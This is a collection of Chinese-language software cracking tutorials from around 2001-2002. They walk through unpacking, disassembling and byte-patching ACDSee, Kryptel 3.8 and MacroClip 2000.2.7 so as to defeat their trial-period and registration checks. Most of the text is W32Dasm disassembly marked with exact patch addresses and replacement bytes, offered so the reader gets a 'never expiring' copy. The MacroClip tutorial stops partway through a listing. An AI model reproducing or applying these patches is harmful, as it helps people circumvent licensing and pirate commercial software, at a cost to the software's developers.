使用工具：冲击波（BW2000），TRW2000，W32Dasm8.93黄金版，Hiew6.40。

因为ACDSEE加了壳，所以先脱壳。
1.运行BW2000，按下Track按钮，然后运行ACDSEE,BW2000显示Entry point为004AD2FE。
2.运行TRW2000，下BPX 4AD2FE命令设断点，F5返回Windows。运行ACDSEE，程序会断在004AD2FE一行，这就是程序入口点了，下命令PEDUMP C:\1.exe，这样便在c盘根目录下生成一可执行文件1.exe，这就是脱壳后的程序。将其拷贝到ACDSEE安装目录备用。
3.关闭ACDSEE。

因为每次启动都会提示使用天数还剩几天，所以反汇编看有没有什么希望。
1.W32Dasm反汇编1.exe，在其中查找文本days（因为每次启动都会提示使用天数还剩几天就是xx days）找到好多处，其中有一处比较可疑（我是怎么知道是这里?凭感觉了。即使感觉错误也可以再试其他的嘛，哈哈^_^），就是下面
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404558(C)
|
* Reference To: InTouchClient.?TrialPeriod_GetDaysLeft@InTouchClient@@QAEHXZ, Ord:005Dh
| |-----（此处找到这个days）
:00404596 FF1564824D00 Call dword ptr [004D8264]
:0040459C 85C0 test eax, eax--------------这里保存剩余天数
:0040459E 7F16 jg 004045B6----------------这里只要跳就可以运行程序
2.Ctrl-n，下命令BPX 40459C，F5返回Windows,再次运行ACDSEE，TRW会拦在0040459C处，下D EAX命令，看到一个5A（5A是什么，就是十进制的90，就是还可以使用的天数了）。F5让程序运行完，关闭ACDSEE。
3.为了验证前面的猜想，将系统时间调过一年（只要大于90天就行），再运行ACDSEE。
4.依然拦在0040459C处，下D EAX命令，看到一个0，F5让程序继续运行，此时不能进入程序主界面。
5.修改程序，用Hiew打开11.exe，F4选择Decode模式，F5填入459E就到了关键处，F3修改为如下代码：
:0040459E E913000000 jmp 004045B6
6.将1.exe改名为ACDSEE.exe（如果觉得脱壳程序太大可用UPX之类的压缩程序压缩一下），并复制到ACDSEE安装目录覆盖原文件，OK，永不过期！

计时：脱壳1分钟，反汇编2分钟（受机器配置限制，否则可更快），查找关键点1分钟，验证关键点3分钟（受打字速度限制，否则可更快），修改程序并完成工作2分钟，累计用时9分钟。

总结发言：大家好，俺是菜鸟一个，Crack的水平嘛，一般般了！破了这个程序，可是让我那位“菜菜鸟”朋友佩服得五体投地，俺也赚足了面子，一个字：挺不错的！

esoft2001.51.net
2002年2月7日


ACDSEE4.0

 标 题:ACDSEE4.0的破解手记 (1千字)
发信人:linet
时 间:2002-1-20 17:43:08
详细信息:
ACDSEE这个看图软件相信大伙都知道了。本人前些时候安装了它的4.0版，今天出现过期提示不能用了。只好拿出SOFTICE、HIEW来，目的——暴力破解ACDSEE V4、0。以下是破解笔记，我也懒得整理了，大家凑合着看吧，不足之处请指出，谢谢。

用BPX HMEMCPY中断后，走到以下：

017F:0040B955 8D442418 LEA EAX,[ESP+18]
017F:0040B959 52 PUSH EDX
017F:0040B95A 8D4C2474 LEA ECX,[ESP+74]
017F:0040B95E 50 PUSH EAX
017F:0040B95F 51 PUSH ECX
017F:0040B960 8B0D74535400 MOV ECX,[00545374]
017F:0040B966 FF1590535400 CALL `LICENSE!?LicenseKey_GetInfo@CLicense@@QAEHPBDPAH111@Z`
017F:0040B96C 8B0D74535400 MOV ECX,[00545374]
017F:0040B972 FF1578535400 CALL `LICENSE!?GetLicenseDLLType@CLicense@@QAEHXZ`----进入
017F:0040B978 85C0 TEST EAX,EAX
017F:0040B97A 7416 JZ 0040B992------ 改为NOP
017F:0040B97C 39742408 CMP [ESP+08],ESI
017F:0040B980 7510 JNZ 0040B992-------改为NOP
017F:0040B982 5F POP EDI
017F:0040B983 B801000000 MOV EAX,01
017F:0040B988 5E POP ESI
017F:0040B989 81C4B0000000 ADD ESP,B0
017F:0040B98F C20800 RET 08

进入40B966的CALL发现如下：
017F:10001CDB 90 NOP
017F:10001CDC 90 NOP
017F:10001CDD 90 NOP
017F:10001CDE 90 NOP
017F:10001CDF 90 NOP
017F:10001CE0 33C0 XOR EAX,EAX -改为MOV AX，1
017F:10001CE2 C3 RET -----改为RET

经过以上改动后，程序出现NAP提示，发现把40B010处的
E872C41200
85C0
7431 ----------------改为7531即可
8B0D38685700
6A00
要注意的是：用二进制编辑软件编辑时，此处的7431显示出来的是CC31，（我也不知是何故），不理会它，照改成7531即可。
至此，程序已完全破解。唯一不足的是在About Acdsee菜单下的：This software is licensed to :及License number:后面是空白的。


Kryptel 3.8

 标 题:Kryptel 3.8 暴力破解过程 (18千字)
发信人:tieji
时 间:2001-9-18 14:10:36
详细信息:
作　　者：tieji
破解时间：2001-8-18
破解工具：W32dasm黄金版 ,UltraEdit-32
作者主页:http://www.filecryption.com/
说 明:Kryptel 3.8 1552K　集成在 Win9x中的加密工具，您只要在Windows资源管理器中点击
右键即可轻松加密单个或多个文件夹和文件(可用 30 days)

先用language检测，发现无壳。

用W32dasm打开kroot.exe文件，在串式参考中发现有“brw.exe”
原来kroot调用brw.exe程序，brw.exe才是真正的主程序。
于是：
用W32dasm打开brw.exe文件，在串式参考中找到“Registration data accepted.Thank”
如下004015d1处：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040141F(C)
|
:00401437 6890B64100 push 0041B690
:0040143C FF358CB64100 push dword ptr [0041B68C]
:00401442 680CB64100 push 0041B60C
:00401447 FF3508B64100 push dword ptr [0041B608]
:0040144D 68F4B54100 push 0041B5F4
:00401452 FF35F0B54100 push dword ptr [0041B5F0]
:00401458 6870B54100 push 0041B570
:0040145D FF356CB54100 push dword ptr [0041B56C]
:00401463 E8DB160100 call 00412B43
:00401468 FF7580 push [ebp-80]
:0040146B FF7584 push [ebp-7C]
:0040146E 8D851CFFFFFF lea eax, dword ptr [ebp+FFFFFF1C]
:00401474 50 push eax
:00401475 E80E170100 call 00412B88
:0040147A 83C42C add esp, 0000002C
:0040147D 84C0 test al, al
:0040147F 0F84DD010000 je 00401662 <--------发现此处一跳就玩完了，所以不能跳
:00401485 C7050C12420001000000 mov dword ptr [0042120C], 00000001
:0040148F C7050C0A420004D0EE0B mov dword ptr [00420A0C], 0BEED004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401435(U)
|
:00401499 8365FC00 and dword ptr [ebp-04], 00000000
:0040149D C78550FDFFFF02000080 mov dword ptr [ebp+FFFFFD50], 80000002
:004014A7 83A554FDFFFF00 and dword ptr [ebp+FFFFFD54], 00000000
:004014AE C645FC01 mov [ebp-04], 01
:004014B2 6A02 push 00000002
:004014B4 6848BF4100 push 0041BF48
:004014B9 8D8D50FDFFFF lea ecx, dword ptr [ebp+FFFFFD50]
:004014BF E8D6E40000 call 0040F99A
:004014C4 8BC6 mov eax, esi
:004014C6 85C0 test eax, eax
:004014C8 741E je 004014E8
:004014CA 56 push esi
:004014CB E816EF0000 call 004103E6
:004014D0 59 pop ecx
:004014D1 83C003 add eax, 00000003
:004014D4 24FC and al, FC
:004014D6 E8F54F0100 call 004164D0
:004014DB 8BC4 mov eax, esp
:004014DD 50 push eax
:004014DE 56 push esi
:004014DF E817EF0000 call 004103FB
:004014E4 59 pop ecx
:004014E5 59 pop ecx
:004014E6 EB02 jmp 004014EA

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004014C8(C)
|
:004014E8 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004014E6(U)
|
:004014EA 50 push eax

* Possible StringData Ref from Data Obj ->"UUserName"
|
:004014EB 68B4004200 push 004200B4 <--------向注册表写你输入注册用户名
:004014F0 8D8D50FDFFFF lea ecx, dword ptr [ebp+FFFFFD50]
:004014F6 E8BBEC0000 call 004101B6
:004014FB 8D458C lea eax, dword ptr [ebp-74]
:004014FE 85C0 test eax, eax
:00401500 7424 je 00401526
:00401502 8D458C lea eax, dword ptr [ebp-74]
:00401505 50 push eax
:00401506 E8DBEE0000 call 004103E6
:0040150B 59 pop ecx
:0040150C 83C003 add eax, 00000003
:0040150F 24FC and al, FC
:00401511 E8BA4F0100 call 004164D0
:00401516 8BC4 mov eax, esp
:00401518 50 push eax
:00401519 8D458C lea eax, dword ptr [ebp-74]
:0040151C 50 push eax
:0040151D E8D9EE0000 call 004103FB
:00401522 59 pop ecx
:00401523 59 pop ecx
:00401524 EB02 jmp 00401528

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401500(C)
|
:00401526 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401524(U)
|
:00401528 50 push eax

* Possible StringData Ref from Data Obj ->"RRegCode"
|
:00401529 689C014200 push 0042019C <--------向注册表写你输入的32位注册码
:0040152E 8D8D50FDFFFF lea ecx, dword ptr [ebp+FFFFFD50]
:00401534 E87DEC0000 call 004101B6
:00401539 8D85B8FEFFFF lea eax, dword ptr [ebp+FFFFFEB8]
:0040153F 85C0 test eax, eax
:00401541 742A je 0040156D
:00401543 8D85B8FEFFFF lea eax, dword ptr [ebp+FFFFFEB8]
:00401549 50 push eax
:0040154A E897EE0000 call 004103E6
:0040154F 59 pop ecx
:00401550 83C003 add eax, 00000003
:00401553 24FC and al, FC
:00401555 E8764F0100 call 004164D0
:0040155A 8BC4 mov eax, esp
:0040155C 50 push eax
:0040155D 8D85B8FEFFFF lea eax, dword ptr [ebp+FFFFFEB8]
:00401563 50 push eax
:00401564 E892EE0000 call 004103FB
:00401569 59 pop ecx
:0040156A 59 pop ecx
:0040156B EB02 jmp 0040156F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401541(C)
|
:0040156D 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040156B(U)
|
:0040156F 50 push eax

* Possible StringData Ref from Data Obj ->"CChkCode"
|
:00401570 688C014200 push 0042018C <--------向注册表写你输入的32位注册校验码
:00401575 8D8D50FDFFFF lea ecx, dword ptr [ebp+FFFFFD50]
:0040157B E836EC0000 call 004101B6
:00401580 6A03 push 00000003
:00401582 8B4584 mov eax, dword ptr [ebp-7C]
:00401585 FF30 push dword ptr [eax]
:00401587 FF7004 push [eax+04]

* Possible StringData Ref from Data Obj ->"KKrBlock"
|
:0040158A 687C014200 push 0042017C <--------向注册表写
:0040158F 8D8D50FDFFFF lea ecx, dword ptr [ebp+FFFFFD50]
:00401595 E81CED0000 call 004102B6
:0040159A 6A03 push 00000003
:0040159C 8B4580 mov eax, dword ptr [ebp-80]
:0040159F FF30 push dword ptr [eax]
:004015A1 FF7004 push [eax+04]

* Possible StringData Ref from Data Obj ->"KKrBlk"
|
:004015A4 6870014200 push 00420170 <--------向注册表写krblk
:004015A9 8D8D50FDFFFF lea ecx, dword ptr [ebp+FFFFFD50]
:004015AF E802ED0000 call 004102B6
:004015B4 8065FC00 and byte ptr [ebp-04], 00
:004015B8 8D8D50FDFFFF lea ecx, dword ptr [ebp+FFFFFD50]
:004015BE E89CE20000 call 0040F85F
:004015C3 834DFCFF or dword ptr [ebp-04], FFFFFFFF
:004015C7 6840200100 push 00012040

* Possible StringData Ref from Data Obj ->"Krypel Registration"
|
:004015CC 685C014200 push 0042015C

* Possible StringData Ref from Data Obj ->"Registration data accepted.

Thank "
->"you for registering Kryptel!"
|
:004015D1 681C014200 push 0042011C <-------此处注册成功，往上看是哪里跳过来的
:004015D6 FF7508 push [ebp+08]

* Reference To: USER32.MessageBoxA, Ord:01C3h
|
:004015D9 FF15ECB24100 Call dword ptr [0041B2EC]
:004015DF 8D4584 lea eax, dword ptr [ebp-7C]
:004015E2 50 push eax
:004015E3 E8C8090100 call 00411FB0
:004015E8 8D4580 lea eax, dword ptr [ebp-80]
:004015EB 50 push eax
:004015EC E8BF090100 call 00411FB0
:004015F1 59 pop ecx
:004015F2 59 pop ecx
:004015F3 685E010000 push 0000015E
:004015F8 8D8558FDFFFF lea eax, dword ptr [ebp+FFFFFD58]
:004015FE 50 push eax

* Possible Reference to String Resource ID=00100: "Kryptel Browser"
|
:004015FF 6A64 push 00000064
:00401601 FF35840D4200 push dword ptr [00420D84]

* Reference To: USER32.LoadStringA, Ord:01AFh
|
:00401607 FF1514B34100 Call dword ptr [0041B314]
:0040160D 8D8558FDFFFF lea eax, dword ptr [ebp+FFFFFD58]
:00401613 50 push eax
:00401614 E888010000 call 004017A1
:00401619 59 pop ecx
:0040161A 8D8558FDFFFF lea eax, dword ptr [ebp+FFFFFD58]
:00401620 50 push eax
:00401621 FF35DC114200 push dword ptr [004211DC]

* Reference To: USER32.SetWindowTextA, Ord:0263h
|
:00401627 FF15E0B24100 Call dword ptr [0041B2E0]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004012A3(C)
|
:0040162D FF750C push [ebp+0C]
:00401630 FF7508 push [ebp+08]

* Reference To: USER32.EndDialog, Ord:00BBh
|
:00401633 FF151CB34100 Call dword ptr [0041B31C]
:00401639 6A01 push 00000001
:0040163B 58 pop eax
:0040163C EB53 jmp 00401691
:0040163E FF7508 push [ebp+08]
:00401641 FF35840D4200 push dword ptr [00420D84]

* Possible Reference to String Resource ID=00349: "Regisration Error"
|
:00401647 685D010000 push 0000015D
:0040164C FFB54CFDFFFF push dword ptr [ebp+FFFFFD4C]
:00401652 E8D5EE0000 call 0041052C
:00401657 83C410 add esp, 00000010

* Possible StringData Ref from Code Obj ->"3缻??�婱鬱?"
|
:0040165A B88F164000 mov eax, 0040168F
:0040165F C3 ret

:00401660 EB2D jmp 0040168F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040147F(C)
|
:00401662 6810200100 push 00012010 <--------跳到此处就玩完了........

* Possible StringData Ref from Data Obj ->"Registration Error"
|
:00401667 68EC024200 push 004202EC

* Possible StringData Ref from Data Obj ->"Wrong user name or registration/check "
->"code.
Please check the data you "
->"have entered."
|
:0040166C 68C8004200 push 004200C8
:00401671 FF7508 push [ebp+08]

* Reference To: USER32.MessageBoxA, Ord:01C3h
|
:00401674 FF15ECB24100 Call dword ptr [0041B2EC]

* Possible Reference to Dialog: DialogID_0070, CONTROL_ID:03F3, ""
|
:0040167A 68F3030000 push 000003F3

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401338(U)
|
:0040167F FF7508 push [ebp+08]

* Reference To: USER32.GetDlgItem, Ord:0105h
|
:00401682 FF15D8B24100 Call dword ptr [0041B2D8]
:00401688 50 push eax

* Reference To: USER32.SetFocus, Ord:0233h
|
:00401689 FF15DCB24100 Call dword ptr [0041B2DC]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004012A9(U), :004013B8(U), :00401660(U)
|
:0040168F 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040163C(U)
|
:00401691 8DA53CFDFFFF lea esp, dword ptr [ebp+FFFFFD3C]
:00401697 8B4DF4 mov ecx, dword ptr [ebp-0C]
:0040169A 64890D00000000 mov dword ptr fs:[00000000], ecx
:004016A1 5F pop edi
:004016A2 5E pop esi
:004016A3 5B pop ebx
:004016A4 C9 leave
:004016A5 C3 ret

在 0040147F 0F84DD010000 je 00401662 将0F84DD010000变为909090909090
运行程序，输入用户名：caoxinyu
输入注册码：11111111
输入校验码：22222222 按确定，提示注册码与校验码必须为4部分，每部分8个字符。
于是改为：输入注册码：11111111-22222222-33333333-44444444
输入校验码：55555555-66666666-77777777-88888888
按确定，注册成功。

但退出程序，重新运行，有变无注册版了，好，
再用W32dasm打开brw.exe文件，在串式参考中找到“The evaluation period has expired!Please...”

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040367A(C), :004036A9(C) <--------原来有两个地方跳到此处
|
:0040373A 89B510FDFFFF mov dword ptr [ebp+FFFFFD10], esi
:00403740 89B514FDFFFF mov dword ptr [ebp+FFFFFD14], esi
:00403746 89350C124200 mov dword ptr [0042120C], esi
:0040374C A1040A4200 mov eax, dword ptr [00420A04]
:00403751 8B08 mov ecx, dword ptr [eax]
:00403753 BB92170000 mov ebx, 00001792
:00403758 53 push ebx
:00403759 BF008064F8 mov edi, F8648000
:0040375E 57 push edi
:0040375F 6A5A push 0000005A
:00403761 50 push eax
:00403762 FF5124 call [ecx+24]
:00403765 898584FEFFFF mov dword ptr [ebp+FFFFFE84], eax
:0040376B 3BC6 cmp eax, esi
:0040376D 7C6A jl 004037D9
:0040376F A1040A4200 mov eax, dword ptr [00420A04]
:00403774 8B08 mov ecx, dword ptr [eax]
:00403776 8D9510FDFFFF lea edx, dword ptr [ebp+FFFFFD10]
:0040377C 52 push edx
:0040377D 53 push ebx
:0040377E 57 push edi
:0040377F 6A5A push 0000005A
:00403781 50 push eax
:00403782 FF512C call [ecx+2C]
:00403785 898584FEFFFF mov dword ptr [ebp+FFFFFE84], eax
:0040378B 3BC6 cmp eax, esi
:0040378D 7D0C jge 0040379B
:0040378F 89B510FDFFFF mov dword ptr [ebp+FFFFFD10], esi
:00403795 89B514FDFFFF mov dword ptr [ebp+FFFFFD14], esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040378D(C)
|
:0040379B 39B514FDFFFF cmp dword ptr [ebp+FFFFFD14], esi
:004037A1 7C48 jl 004037EB
:004037A3 7F08 jg 004037AD
:004037A5 39B510FDFFFF cmp dword ptr [ebp+FFFFFD10], esi
:004037AB 763E jbe 004037EB

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004037A3(C)
|
:004037AD 68C9000000 push 000000C9
:004037B2 6800C0692A push 2A69C000
:004037B7 FFB514FDFFFF push dword ptr [ebp+FFFFFD14]
:004037BD FFB510FDFFFF push dword ptr [ebp+FFFFFD10]
:004037C3 E8582D0100 call 00416520
:004037C8 898510FDFFFF mov dword ptr [ebp+FFFFFD10], eax
:004037CE 899514FDFFFF mov dword ptr [ebp+FFFFFD14], edx
:004037D4 A3A80D4200 mov dword ptr [00420DA8], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040376D(C)
|
:004037D9 39B514FDFFFF cmp dword ptr [ebp+FFFFFD14], esi
:004037DF 7F64 jg 00403845
:004037E1 7C08 jl 004037EB
:004037E3 39B510FDFFFF cmp dword ptr [ebp+FFFFFD10], esi
:004037E9 775A ja 00403845

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004037A1(C), :004037AB(C), :004037E1(C)
|
:004037EB C6056404420001 mov byte ptr [00420464], 01
:004037F2 6A28 push 00000028
:004037F4 8D85ECFBFFFF lea eax, dword ptr [ebp+FFFFFBEC]
:004037FA 50 push eax

* Possible Reference to String Resource ID=00100: "Kryptel Browser"
|
:004037FB 6A64 push 00000064
:004037FD FF35840D4200 push dword ptr [00420D84]

* Reference To: USER32.LoadStringA, Ord:01AFh
|
:00403803 8B3D14B34100 mov edi, dword ptr [0041B314]
:00403809 FFD7 call edi
:0040380B 68FA000000 push 000000FA
:00403810 8D8514FCFFFF lea eax, dword ptr [ebp+FFFFFC14]
:00403816 50 push eax

* Possible Reference to String Resource ID=00570: "The evaluation period has expired!

Please, register the sof"
|
:00403817 683A020000 push 0000023A <--------30天过后就出现这句话，往上看是哪里跳过来的
:0040381C FF35840D4200 push dword ptr [00420D84]
:00403822 FFD7 call edi
:00403824 6830200100 push 00012030
:00403829 8D85ECFBFFFF lea eax, dword ptr [ebp+FFFFFBEC]
:0040382F 50 push eax
:00403830 8D8514FCFFFF lea eax, dword ptr [ebp+FFFFFC14]
:00403836 50 push eax
:00403837 FF35DC114200 push dword ptr [004211DC]

* Reference To: USER32.MessageBoxA, Ord:01C3h
|
:0040383D FF15ECB24100 Call dword ptr [0041B2EC]
:00403843 EB29 jmp 0040386E

将0040367A及004036A9处的跳转nop掉！

运行程序，哈，是注册版了。

此程序的注册码没追出来，先这样凑合者用了

============================================================================
发现按鼠标右键 Encrypt and Shred 及　Shred 都发现过期了。
而且调用help菜单，于是，启动trw ,下bpx winhelpa
按Encrypt and Shred 拦下，按F12及f10来到klx.dll领空（原来在klx.dll文件中）：

|:75FC2F4A(C)
|
:75FC2F59 A08060FD75 mov al, byte ptr [75FD6080]
:75FC2F5E 50 push eax
:75FC2F5F 68C45EFD75 push 75FD5EC4
:75FC2F64 E873840000 call 75FCB3DC
:75FC2F69 A20896FD75 mov byte ptr [75FD9608], al
:75FC2F6E A17898FD75 mov eax, dword ptr [75FD9878]
:75FC2F73 59 pop ecx
:75FC2F74 83F801 cmp eax, 00000001
:75FC2F77 59 pop ecx
:75FC2F78 0F84A6000000 je 75FC3024 <--------改跳　ｏｋ
:75FC2F7E 83F802 cmp eax, 00000002
:75FC2F81 0F849D000000 je 75FC3024 <--------改跳　ｏｋ
:75FC2F87 381D6894FD75 cmp byte ptr [75FD9468], bl
:75FC2F8D 744F je 75FC2FDE
:75FC2F8F BEAC9AFD75 mov esi, 75FD9AAC
:75FC2F94 8BC6 mov eax, esi
:75FC2F96 85C0 test eax, eax
:75FC2F98 741E je 75FC2FB8
:75FC2F9A 56 push esi
:75FC2F9B E87B5F0000 call 75FC8F1B
:75FC2FA0 83C003 add eax, 00000003
:75FC2FA3 59 pop ecx
:75FC2FA4 24FC and al, FC
:75FC2FA6 E8D5C80000 call 75FCF880
:75FC2FAB 8BC4 mov eax, esp
:75FC2FAD 50 push eax
:75FC2FAE 56 push esi
:75FC2FAF E8BD5F0000 call 75FC8F71
:75FC2FB4 59 pop ecx
:75FC2FB5 59 pop ecx
:75FC2FB6 EB02 jmp 75FC2FBA

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:75FC2F98(C)
|
:75FC2FB8 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:75FC2FB6(U)
|
:75FC2FBA 68424A0000 push 00004A42
:75FC2FBF 6A01 push 00000001
:75FC2FC1 50 push eax
:75FC2FC2 53 push ebx

* Reference To: USER32.WinHelpA, Ord:02ADh
|
:75FC2FC3 FF15A851FD75 Call dword ptr [75FD51A8] <--------调用help菜单，向上看哪里可以跳过
:75FC2FC9 8D458C lea eax, dword ptr [ebp-74]
:75FC2FCC 68C068FD75 push 75FD68C0
:75FC2FD1 50 push eax
:75FC2FD2 C7458C012000CB mov [ebp-74], CB002001

======================================================================
按 Shred 拦下，按F12及f10来到：

:75FC7A08 A17898FD75 mov eax, dword ptr [75FD9878]
:75FC7A0D 895DFC mov dword ptr [ebp-04], ebx
:75FC7A10 83F801 cmp eax, 00000001
:75FC7A13 0F84A6000000 je 75FC7ABF <--------改跳　ｏｋ
:75FC7A19 83F802 cmp eax, 00000002
:75FC7A1C 0F849D000000 je 75FC7ABF <--------改跳　ｏｋ
:75FC7A22 381D6894FD75 cmp byte ptr [75FD9468], bl
:75FC7A28 744F je 75FC7A79
:75FC7A2A BEAC9AFD75 mov esi, 75FD9AAC
:75FC7A2F 8BC6 mov eax, esi
:75FC7A31 85C0 test eax, eax
:75FC7A33 741E je 75FC7A53
:75FC7A35 56 push esi
:75FC7A36 E8E0140000 call 75FC8F1B
:75FC7A3B 83C003 add eax, 00000003
:75FC7A3E 59 pop ecx
:75FC7A3F 24FC and al, FC
:75FC7A41 E83A7E0000 call 75FCF880
:75FC7A46 8BC4 mov eax, esp
:75FC7A48 50 push eax
:75FC7A49 56 push esi
:75FC7A4A E822150000 call 75FC8F71
:75FC7A4F 59 pop ecx
:75FC7A50 59 pop ecx
:75FC7A51 EB02 jmp 75FC7A55

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:75FC7A33(C)
|
:75FC7A53 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:75FC7A51(U)
|
:75FC7A55 68424A0000 push 00004A42
:75FC7A5A 6A01 push 00000001
:75FC7A5C 50 push eax
:75FC7A5D 53 push ebx

* Reference To: USER32.WinHelpA, Ord:02ADh
|
:75FC7A5E FF15A851FD75 Call dword ptr [75FD51A8] <--------调用help菜单，向上看哪里可以跳过
:75FC7A64 8D45DC lea eax, dword ptr [ebp-24]
:75FC7A67 68C068FD75 push 75FD68C0
:75FC7A6C 50 push eax
:75FC7A6D C745DC012000CB mov [ebp-24], CB002001

到这里按鼠标右键 Encrypt and Shred 及　Shred 都可用了。


MacroClip 2000.2.7

 标 题:软件破解初体验之 MacroClip 2000.2.7 代码修改破解 (15千字)
发信人:CrackerABC[BCG]转帖
时 间:2001-10-9 8:49:54
详细信息:
软件破解初体验之 MacroClip 2000.2.7 代码修改破解

破解对象： MacroClip

Version: 2000.2.7
Platform: Windows95/98/NT/2000.

URL：http://www.gentee.com/mclip/mclip.exe

破解工具： Hiew 6.76注册版
Caspr 1.10 GUI版本
FI 2.45注册版
W32DSM 8.93增强版
外加 大脑和手、纸、笔。

一、破解分析：

1、首先检测软件是否加壳：使用FI查看得知，软件使用aspack 1.00加壳，所以使用Caspr脱掉程序壳。
2、对拿到的脱壳后的文件进行W32DSM反汇编，查看代码。通过查看“串式参考”查看，无法得到出错信息，
只是能知道本程序是采用keyfile来做注册的。没有明显的语句提示来提供破解参考。
3、运行程序知道程序有30天限制，同时显示“Unregistered”字样。

二、破解点选择：

1、首先可以使用trw2000来跟踪，下断点bpx getsystemtime,bpx localtime等。
2、根据30天的限制，查找汇编语句中带有0000001E的比较语句。

这里我们选择第2种方法。

三、代码分析和查找修改点

程序根据30天的限制来判断是否是注册版，使用的是标志位判断，标志位不对就是肥注册版，所以我们要把他判断注册标志位的分支全部修改。让它认为程序是注册版，而不会去限制程序的使用时间和功能限制。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004097AF(U)
|
:004097C4 8B0D0C2B4200 mov ecx, dword ptr [00422B0C]
:004097CA 83C901 or ecx, 00000001
:004097CD 890D0C2B4200 mov dword ptr [00422B0C], ecx
:004097D3 8B4DFC mov ecx, dword ptr [ebp-04]
:004097D6 E8C5FEFFFF call 004096A0
:004097DB 833D802A420000 cmp dword ptr [00422A80], 00000000
:004097E2 7511 jne 004097F5 //-------------------->标志位的判断点
:004097E4 833D842A420000 cmp dword ptr [00422A84], 00000000
:004097EB 7508 jne 004097F5
:004097ED 8B4DFC mov ecx, dword ptr [ebp-04]
:004097F0 E81C6E0000 call 00410611

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00409782(C), :004097E2(C), :004097EB(C)
|
:004097F5 8BE5 mov esp, ebp
:004097F7 5D pop ebp
:004097F8 C3 ret
.......<中间省略代码大部分>......................

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A9A1(C)
|
:0040A9FC 8BE5 mov esp, ebp
:0040A9FE 5D pop ebp
:0040A9FF C3 ret

* Referenced by a CALL at Address:
|:0040AD27
|
:0040AA00 55 push ebp
:0040AA01 8BEC mov ebp, esp
:0040AA03 83EC10 sub esp, 00000010
:0040AA06 894DF0 mov dword ptr [ebp-10], ecx
:0040AA09 8B45F0 mov eax, dword ptr [ebp-10]
:0040AA0C 8B88AA000000 mov ecx, dword ptr [eax+000000AA]
:0040AA12 8B516A mov edx, dword ptr [ecx+6A]
:0040AA15 8B4A52 mov ecx, dword ptr [edx+52]
:0040AA18 E82D4E0000 call 0040F84A
:0040AA1D 8945F4 mov dword ptr [ebp-0C], eax
:0040AA20 8B45F0 mov eax, dword ptr [ebp-10]
:0040AA23 8B88AE000000 mov ecx, dword ptr [eax+000000AE]
:0040AA29 8B516A mov edx, dword ptr [ecx+6A]
:0040AA2C 8B4A52 mov ecx, dword ptr [edx+52]
:0040AA2F E8164E0000 call 0040F84A
:0040AA34 8945FC mov dword ptr [ebp-04], eax
:0040AA37 8B45F0 mov eax, dword ptr [ebp-10]
:0040AA3A 8B88A6000000 mov ecx, dword ptr [eax+000000A6]
:0040AA40 8B5172 mov edx, dword ptr [ecx+72]
:0040AA43 C1EA03 shr edx, 03
:0040AA46 83E201 and edx, 00000001
:0040AA49 85D2 test edx, edx
:0040AA4B 742A je 0040AA77
:0040AA4D 837DF403 cmp dword ptr [ebp-0C], 00000003
:0040AA51 7C06 jl 0040AA59
:0040AA53 837DF41E cmp dword ptr [ebp-0C], 0000001E
:0040AA57 7E1C jle 0040AA75 //--------------------->分析重点
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040AA51(C)
|
:0040AA59 8B45F0 mov eax, dword ptr [ebp-10]
:0040AA5C 8B88AA000000 mov ecx, dword ptr [eax+000000AA]
:0040AA62 51 push ecx
:0040AA63 BA36010000 mov edx, 00000136
:0040AA68 8B4DF0 mov ecx, dword ptr [ebp-10]
:0040AA6B E8D45A0000 call 00410544
:0040AA70 E9EB010000 jmp 0040AC60

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

通过对含有0000001E的语句分析得知 cmp dword ptr [00422A80], 00000000是标志位的判断，所以分析与此有关的代码段。下面是要修改的代码：

####################################################################

★Part One★

####################################################################

* Possible StringData Ref from Data Obj ->"?
|
:00405E3D B9B0274200 mov ecx, 004227B0
:00405E42 E8F5B60000 call 0041153C
:00405E47 A390314200 mov dword ptr [00423190], eax
:00405E4C 6A00 push 00000000
:00405E4E 686A434000 push 0040436A
:00405E53 BA10000000 mov edx, 00000010
:00405E58 8B0D90314200 mov ecx, dword ptr [00423190]
:00405E5E E8FAA60000 call 0041055D
:00405E63 E8521B0000 call 004079BA
:00405E68 6A00 push 00000000
:00405E6A BACE000000 mov edx, 000000CE
:00405E6F 8B0D202E4200 mov ecx, dword ptr [00422E20]
:00405E75 E8CAA60000 call 00410544
:00405E7A 833D802A420000 cmp dword ptr [00422A80], 00000000
:00405E81 7542 jne 00405EC5 //----------->这里要跳转。75-->74

* Possible StringData Ref from Data Obj ->""
|
:00405E83 68A8214200 push 004221A8

* Possible StringData Ref from Data Obj ->"?
|
:00405E88 BA60274200 mov edx, 00422760
:00405E8D 8B0D202E4200 mov ecx, dword ptr [00422E20]
:00405E93 E809A70000 call 004105A1
:00405E98 8985E4FEFFFF mov dword ptr [ebp+FFFFFEE4], eax
